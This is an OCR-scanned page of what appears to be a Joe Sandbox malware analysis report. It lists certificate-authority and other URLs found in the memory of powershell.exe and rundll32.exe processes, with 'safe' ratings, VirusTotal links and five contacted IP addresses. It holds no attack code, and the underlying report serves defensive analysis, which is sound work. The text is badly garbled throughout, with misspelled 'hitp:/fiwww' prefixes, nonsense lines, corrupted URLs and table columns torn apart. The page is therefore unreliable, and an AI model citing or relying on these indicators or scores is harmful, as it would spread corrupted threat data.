hitp:/fiwww.a-cert.atOE 0% URL Reputation safe

hitp:/fiwww.a-cert.atOE 0% URL Reputation safe
hitp:/fiwww.certplus.com/CRL/class3.crl0 0% URL Reputation safe
hitp:/fiwww.certplus.com/CRL/class3.crl0 0% URL Reputation safe
hitp:/fiwww.certplus.com/CRL/class3.crl0 0% URL Reputation safe

hitp:/fiwww.e-me.Iv/repository0 0% URL Reputation safe

hitp:/fiwww.e-me.Iv/repository0 0% URL Reputation safe

hitp:/fiwww.e-me.Iv/repository0 0% URL Reputation safe

hitp://www.acabogacia.org/docO 0% URL Reputation safe

hitp://www.acabogacia.org/docO 0% URL Reputation safe

hitp://www.acabogacia.org/docO 0% URL Reputation safe
hitp://crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe
hitp://crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe
hitp://crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

T medavenuesconoposspendopagecs om0 AmURLObd maae
hitp:/fiwww.digsigtrust.com/DST_TRUST_CPS_v990701.html0 0% URL Reputation safe
hitp:/fiwww.digsigtrust.com/DST_TRUST_CPS_v990701.html0 0% URL Reputation safe
hitp:/fiwww.digsigtrust.com/DST_TRUST_CPS_v990701.html0 0% URL Reputation safe

o wigeseeomGenae G ARG maee
hitp:/fiwww.certifikat.dk/repository0 0% URL Reputation safe

hitp:/fiwww.certifikat.dk/repository0 0% URL Reputation safe

hitp:/fiwww.certifikat.dk/repository0 0% URL Reputation safe

hitp://www.chambersign.orgl 0% URL Reputation safe

hitp://www.chambersign.orgl 0% URL Reputation safe

hitp://www.chambersign.orgl 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp://‘www.pkioverheid.nl/policies/root-policy0 0% URL Reputation safe
hitp://‘www.pkioverheid.nl/policies/root-policy0 0% URL Reputation safe
hitp://‘www.pkioverheid.nl/policies/root-policy0 0% URL Reputation safe
hitp:/icrl.ssc.lt/root-c/cacrl.crl0 0% URL Reputation safe
hitp:/icrl.ssc.lt/root-c/cacrl.crl0 0% URL Reputation safe
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https://www.virustotal.com/gui/url/a497f771412e872b236691e8dc52c95396532f11a214188cf38a0bcafd624779/detection/u-a497f771412e872b236691e8dc52c95396532f11a214188cf38a0bcafd624779-1611529801
https://www.virustotal.com/gui/url/ad09b64fb28cafe714f4e4d3a77cd18de7fcd4415d1ae62c32f431d57550b39f/detection/u-ad09b64fb28cafe714f4e4d3a77cd18de7fcd4415d1ae62c32f431d57550b39f-1611529801
https://www.virustotal.com/gui/url/bb79c56767d0c894ca95db386946d5aeed9451ae488bb8fa7d88188641b4adfd/detection/u-bb79c56767d0c894ca95db386946d5aeed9451ae488bb8fa7d88188641b4adfd-1611529797
https://www.virustotal.com/gui/url/51ba0b1c313b504125b9d34f58f09cfaade94356f694b41854b0257bb5692a6e/detection/u-51ba0b1c313b504125b9d34f58f09cfaade94356f694b41854b0257bb5692a6e-1611353588

Source

hitp:/icrl.ssc.lt/root-c/cacrl.crl0
hitp://https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
hitp://https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
hitp://https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
hitp://iwww.trustcenter.de/crl/v2/tc_class_3_ca_ll.crl
hitp://iwww.trustcenter.de/crl/v2/tc_class_3_ca_ll.crl
hitp:/fiwww.trustcenter.de/crl/v2/tc_class_3_ca_ll.crl
hitp://ca.disig.sk/ca/crl/ca_disig.crl0
hitp://ca.disig.sk/ca/crl/ca_disig.crl0
hitp://ca.disig.sk/ca/crl/ca_disig.crl0
hitp://repository.infonotary.com/cps/qcps.html0$
hitp://repository.infonotary.com/cps/qcps.html0$
hitp://repository.infonotary.com/cps/qcps.html0$
hitp:/fiwww.post.trust.ie/reposit/cps.html0
hitp:/fiwww.post.trust.ie/reposit/cps.html0
hitp:/fiwww.post.trust.ie/reposit/cps.html0
hitp:/f\www.certplus.com/CRL/class2.crl0
hitp:/f\www.certplus.com/CRL/class2.crl0
hitp:/f\www.certplus.com/CRL/class2.crl0
hitp:/fiwww.disig.sk/ca/crl/ca_disig.crlO
hitp:/fiwww.disig.sk/ca/crl/ca_disig.crlO
hitp:/fiwww.disig.sk/ca/crl/ca_disig.crlO
hitp:/focsp.infonotary.com/responder.cgioV
hitp:/focsp.infonotary.com/responder.cgioV
hitp:/focsp.infonotary.com/responder.cgioV
hitp:/fiwww.sk.ee/cps/O

hitp:/fiwww.sk.ee/cps/O

hitp:/fiwww.sk.ee/cps/O

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Label Link
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

N e T

hitp://https://www.certification.tn/cgi-bin/pub/crl/cactrl.crlOE
hitp://https://www.certification.tn/cgi-bin/pub/crl/cactrl.crlOE
hitp://https://www.certification.tn/cgi-bin/pub/crl/cactrl.crlOE
hitp://servername/isapibackend.dll

hitp:/fiwww.ssc.It/cps03

hitp:/fiwww.ssc.It/cps03

hitp:/fiwww.ssc.It/cps03
hitp://crl.oces.certifikat.dk/oces.crl0
hitp://crl.oces.certifikat.dk/oces.crl0
hitp://crl.oces.certifikat.dk/oces.crl0
hitp://crl.ssc.lt/root-b/cacrl.crlO
hitp://crl.ssc.lt/root-b/cacrl.crlO

hitp://crl.ssc.lt/root-b/cacrl.crlO

hitp:/izerossl.crt.sectigo.com/ZeroSSLRSADomainSecureSiteCA.crt0

hitp:/f\www.dnie.es/dpcO

hitp:/f\www.dnie.es/dpcO

hitp:/f\www.dnie.es/dpcO

hitp://www.rootca.or.kr/rca/cps.htmlO
hitp://www.rootca.or.kr/rca/cps.htmlO
hitp://www.rootca.or.kr/rca/cps.htmlO
hitp:/fiwww.trustcenter.de/guidelinesO
hitp:/fiwww.trustcenter.de/guidelinesO
hitp:/fiwww.trustcenter.de/guidelinesO
hitp://pki-root.ecertpki.cl/CertEnroll/E-CERT%20RO0T%20CA.crl0
hitp://pki-root.ecertpki.cl/CertEnroll/E-CERT%20RO0T%20CA.crl0
hitp://pki-root.ecertpki.cl/CertEnroll/E-CERT%20RO0T%20CA.crl0
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true

hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true

Domains and IPs
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0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe
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Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

nttp:/]

hitp://fedir.comsign.co.il/cr/ComSignSecuredCA.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2112608173.000000001B50600 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp/;

hitp:/fiwww.a-cert.atOE powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100716475.000000001D12900 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.certplus.com/CRL/class3.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2113889592.000000001D0C700 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://iwww.e-me.Iv/repository0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100675116.000000001D10300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://www.acabogacia.org/docO powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100675116.000000001D10300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://crl.chambersign.org/chambersroot.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100887781.000000001DOE400 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.digsigtrust.com/DST_TRUST_CPS_v990701.html0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100615857.000000001D25700 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp/;

hitp:/fiwww.certifikat.dk/repository0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100803227.000000001DOEF00 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://www.chambersign.orgl powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100887781.000000001D0E400 e URL Reputation: safe
0.00000004.00000001.sdmp, powe e URL Reputation: safe

rshell.exe, 00000005.00000003.
2100716475.000000001D129000.00

000004.00000001.sdmp
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100777362.000000001B56300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100777362.000000001B56300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://‘www.pkioverheid.nl/policies/root-policy0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100716475.000000001D12900 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://repository.swisssign.com/0 powershell.exe, 00000005.00000 false high

003.2100813841.000000001DOFCO0
0.00000004.00000001.sdmp

hitp:/icrl.ssc.lt/root-c/cacrl.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100675116.000000001D10300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
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https://www.virustotal.com/gui/url/a497f771412e872b236691e8dc52c95396532f11a214188cf38a0bcafd624779/detection/u-a497f771412e872b236691e8dc52c95396532f11a214188cf38a0bcafd624779-1611529801
https://www.virustotal.com/gui/url/ad09b64fb28cafe714f4e4d3a77cd18de7fcd4415d1ae62c32f431d57550b39f/detection/u-ad09b64fb28cafe714f4e4d3a77cd18de7fcd4415d1ae62c32f431d57550b39f-1611529801
https://www.virustotal.com/gui/url/bb79c56767d0c894ca95db386946d5aeed9451ae488bb8fa7d88188641b4adfd/detection/u-bb79c56767d0c894ca95db386946d5aeed9451ae488bb8fa7d88188641b4adfd-1611529797
https://www.virustotal.com/gui/url/51ba0b1c313b504125b9d34f58f09cfaade94356f694b41854b0257bb5692a6e/detection/u-51ba0b1c313b504125b9d34f58f09cfaade94356f694b41854b0257bb5692a6e-1611353588

Name

hitp://https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0

hitp:/f\www.trustcenter.de/crl/v2/tc_class_3_ca_ll.crl

hitp://ca.disig.sk/ca/crl/ca_disig.crl0

hitp://repository.infonotary.com/cps/qcps.html0$

hitp:/fiwww.post.trust.ie/reposit/cps.html0

hitp:/fiwww.certplus.com/CRL/class2.crl0

hitp:/fiwww.disig.sk/ca/crl/ca_disig.crlO

hitp:/focsp.infonotary.com/responder.cgioV

hitp:/fiwww.sk.ee/cps/O

hitp://https://www.certification.tn/cgi-bin/pub/crl/cactrl.crlOE

hitp://servername/isapibackend.dll

hitp:/fiwww.ssc.It/cps03

hitp:/fiwww.windows.com/pctv.

hitp://crl.oces.certifikat.dk/oces.crl0

hitp://crl.ssc.lt/root-b/cacrl.crlO

hitp:/fiwww.certicamara.com/dpc/0Z

hitp://crl.pki.wellsfargo.com/wsprca.crlO

http:/f
zerossl.crt.sectigo.com/ZeroSSLRSADomainSecureSiteCA.crt
0

hitp:/f\www.dnie.es/dpcO

hitp://www.rootca.or.kr/rca/cps.htmlO

hitp:/fiwww.trustcenter.de/guidelinesO

hitp://pki-root.ecertpki.cl/CertEnroll/E-
CERT%20RO0OT%20CA.crl0
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Source

powershell.exe, 00000005.00000
003.2100777362.000000001B56300
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114062501.000000001D11100
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2112608173.000000001B50600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114045569.000000001D10700
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100887781.000000001DOE400
0.00000004.00000001.sdmp, powe
rshell.exe, 00000005.00000003.
2100675116.000000001D103000.00
000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100724614.000000001D15600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2112608173.000000001B50600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114045569.000000001D10700
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100716475.000000001D12900
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100777362.000000001B56300
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114336567.000000001D2C000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000
002.2114062501.000000001D11100
0.00000004.00000001.sdmp

rundll32.exe, 0000000D.0000000
2.2178190273.0000000001E00000.
00000002.00000001.sdmp

powershell.exe, 00000005.00000
003.2100803227.000000001DOEF00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114062501.000000001D11100
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100675116.000000001D10300
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100675116.000000001D10300
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2104141394.000000000292000
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100894685.000000001D0F400
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100894685.000000001D0OF400
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100887781.000000001DOE400
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100675116.000000001D10300
0.00000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

low

unknown

high

unknown

unknown

high

high

unknown

unknown

unknown

unknown

unknown
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Name Source Malicious Antivirus Detection Reputation

hitp://iwindowsmedia.com/redir/services.asp? powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
WMPFriendly=true 002.2113354991.000000001CEC700 e URL Reputation: safe
0.00000002.00000001.sdmp, rund e URL Reputation: safe

1132.exe, 00000006.00000002.21
16600260.0000000001E77000.0000
0002.00000001.sdmp, rundlI32.exe,
00000007.00000002.21132471
10.0000000001FE7000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2123786950.000
0000001FB7000.00000002.0000000
1.sdmp

hitp:/fiwww.certplus.com/CRL/class3TS.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100887781.000000001DOE400 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp/;

hitp://iwww.entrust.net/CRL/Client1.crl0 powershell.exe, 00000005.00000 false high
003.2100887781.000000001DOE400
0.00000004.00000001.sdmp

hitp://https://www.cloudflare.com/5xx-error-landing powershell.exe, 00000005.00000 false high
002.2107259253.0000000003B2000
0.00000004.00000001.sdmp, powe
rshell.exe, 00000005.00000002.
2107303063.0000000003B3B000.00
000004.00000001.sdmp

hitp:// powershell.exe, 00000005.00000 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 002.2101737208.000000000244000

0.00000002.00000001.sdmp, rund

1132.exe, 00000008.00000002.21

24502110.0000000002720000.0000

0002.00000001.sdmp

hitp://https://www.catcert.net/verarrel powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100675116.000000001D10300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp:/fiwww.disig.sk/ca0f powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2112608173.000000001B50600 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp:/fiwww.e-szigno.hu/RootCA.crl powershell.exe, 00000005.00000 false high

002.2114006707.000000001DOF600
0.00000004.00000001.sdmp

hitp:/fiwww.sk.ee/juur/crl/0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100716475.000000001D12900 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://crl.chambersign.org/chambersignroot.crlO powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100716475.000000001D12900 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://crl.xrampsecurity.com/XGCA.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100803227.000000001DOEF00 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://crl.ssc.lt/root-a/cacrl.crlO powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100675116.000000001D10300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.trustdst.com/certificates/policy/ACES-index.html0  powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2112608173.000000001B50600 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://www.firmaprofesional.comO powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2101193875.00000000003E400 e URL Reputation: safe
0.00000004.00000020.sdmp e URL Reputation: safe
hitp://https://www.netlock.net/docs powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2113953907.000000001DOE500 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://iwww.trustcenter.de/crl/v2/tc_class_2_ca_ll.crl powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100813841.000000001DOFCO0 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe
hitp://crl.entrust.net/2048ca.crl0 powershell.exe, 00000005.00000 false high

003.2100783095.000000001B57100
0.00000004.00000001.sdmp

hitp:// powershell.exe, 00000005.00000 false high
www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0 002.2114045569.000000001D10700
0.00000004.00000001.sdmp

hitp/;

hitp:/fiwww.e-trust.be/CPS/QNcerts powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100813841.000000001DOFCO0 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://www.certicamara.com/certicamaraca.crlO powershell.exe, 00000005.00000 false high

003.2100894685.000000001D0F400
0.00000004.00000001.sdmp
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Name Source Malicious Antivirus Detection Reputation

hitp://www.msnbc.com/news/ticker.txt powershell.exe, 00000005.00000 false high
002.2113066732.000000001CCE000
0.00000002.00000001.sdmp, rund
1132.exe, 00000006.00000002.21
15162750.0000000001C90000.0000
0002.00000001.sdmp, rundlI32.exe,
00000007.00000002.21130492
23.0000000001E00000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2123623291.000
0000001DD0000.00000002.0000000
1.sdmp, rundll32.exe, 0000000D
.00000002.2178190273.000000000
1E00000.00000002.00000001.sdmp

http:/f powershell.exe, 00000005.00000 false e URL Reputation: safe unknown

crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlO 003.2100900633.000000001D12200 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://fedir.comsign.co.il/crl/ComSignCA.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100887781.000000001DOE400 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

http:/f powershell.exe, 00000005.00000 false e URL Reputation: safe unknown

www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaC 002.2112608173.000000001B50600 e URL Reputation: safe

Al.crl0 0.00000004.00000001.sdmp e URL Reputation: safe

hitp://ocsp.sectigo.com0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2107483131.0000000003BCE00 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://ocsp.entrust.net03 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100777362.000000001B56300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://fwdssp.com/?dn=referer_detect&pid=5POL4F204 powershell.exe, 00000005.00000 false high

002.2107303063.0000000003B3B00
0.00000004.00000001.sdmp

hitp://cps.chambersign.org/cps/chambersroot.htmlO powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100887781.000000001D0E400 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://www.acabogacia.org0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100675116.000000001D10300 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://https://ca.sia.it/seccli/repository/CPS0O powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2112540866.000000001B4C000 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://crl.securetrust.com/SGCA.crl0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2114006707.000000001D0OF600 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

http:/f powershell.exe, 00000005.00000 false e URL Reputation: safe unknown

fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0O  003.2100836378.000000001B53800 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://crl.securetrust.com/STCA.crlO powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
003.2100900633.000000001D12200 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

http:/f powershell.exe, 00000005.00000 false e URL Reputation: safe unknown

www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaC 003.2100803227.000000001DOEF00 e URL Reputation: safe

Alll.crlo 0.00000004.00000001.sdmp e URL Reputation: safe

hitp://iwww.icra.org/vocabulary/. powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2113354991.000000001CEC700 e URL Reputation: safe
0.00000002.00000001.sdmp, rund e URL Reputation: safe

1132.exe, 00000006.00000002.21
16600260.0000000001E77000.0000
0002.00000001.sdmp, rundlI32.exe,
00000007.00000002.21132471
10.0000000001FE7000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2123786950.000
0000001FB7000.00000002.0000000
1.sdmp

hitp://www.certicamara.com/certicamaraca.crlO; powershell.exe, 00000005.00000 false high
003.2100894685.000000001D0F400
0.00000004.00000001.sdmp

hitp://iwww.e-szigno.hu/RootCA.crt0 powershell.exe, 00000005.00000 false high
002.2114006707.000000001D0F600
0.00000004.00000001.sdmp

hitp:/f\www.quovadisglobal.com/cpsO powershell.exe, 00000005.00000 false high
003.2100894685.000000001D0F400
0.00000004.00000001.sdmp
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Name

hitp/;

hitp://investor.msn.com/

hitp://https://sectigo.com/CPS0D

hitp:/fiwww.valicert.com/1

hitp:/fiwww.e-szigno.hu/SZSZ/0

hitpiwww.%s.comPA

hitp:/
www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaC
All.crlo

hitp://ocsp.entrust.netOD

hitp://cps.chambersign.org/cps/chambersignroot.html0

hitp://ca.sia.it/secsrv/repository/CRL.der0J

hitp://investor.msn.com

hitp://https://sectigo.com/CPS0O

hitp://crl.entrust.net/serverl.crl0

hitp:/f/www.ancert.com/cpsO

hitp://ca.sia.it/seccli/repository/CRL.der0J

hitp://www.echoworx.com/ca/root2/cps.pdf0

Contacted IPs
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Source

powershell.exe, 00000005.00000
002.2113066732.000000001CCEO00
0.00000002.00000001.sdmp, rund
1132.exe, 00000006.00000002.21
15162750.0000000001C90000.0000
0002.00000001.sdmp, rundlI32.exe,
00000007.00000002.21130492
23.0000000001E00000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2123623291.000
0000001DD0000.00000002.0000000
1.sdmp, rundll32.exe, 0000000D
.00000002.2178190273.000000000
1E00000.00000002.00000001.sdmp

powershell.exe, 00000005.00000
002.2107483131.0000000003BCE00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100797635.000000001B59500
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114006707.000000001DOF600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2101737208.000000000244000
0.00000002.00000001.sdmp, rund
1132.exe, 00000008.00000002.21
24502110.0000000002720000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000
003.2100716475.000000001D12900
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100783095.000000001B57100
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100716475.000000001D12900
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100615857.000000001D25700
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2113066732.000000001CCEO00
0.00000002.00000001.sdmp, rund
1132.exe, 00000006.00000002.21
15162750.0000000001C90000.0000
0002.00000001.sdmp, rundlI32.exe,
00000007.00000002.21130492
23.0000000001E00000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2123623291.000
0000001DD0000.00000002.0000000
1.sdmp, rundll32.exe, 0000000D
.00000002.2178190273.000000000
1E00000.00000002.00000001.sdmp

powershell.exe, 00000005.00000
002.2104141394.000000000292000
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100777362.000000001B56300
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
003.2100813841.000000001DOFC00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2112540866.000000001B4C000
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2114107631.000000001D12600
0.00000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

Reputation

high

unknown

unknown

high

low

unknown

unknown

unknown

unknown

high

unknown

high

unknown

unknown

unknown

Page 18 of 58



] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain
192.232.250.227 unknown
103.133.214.149 unknown
172.67.215.216 unknown
195.159.28.230 unknown
69.38.130.14 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
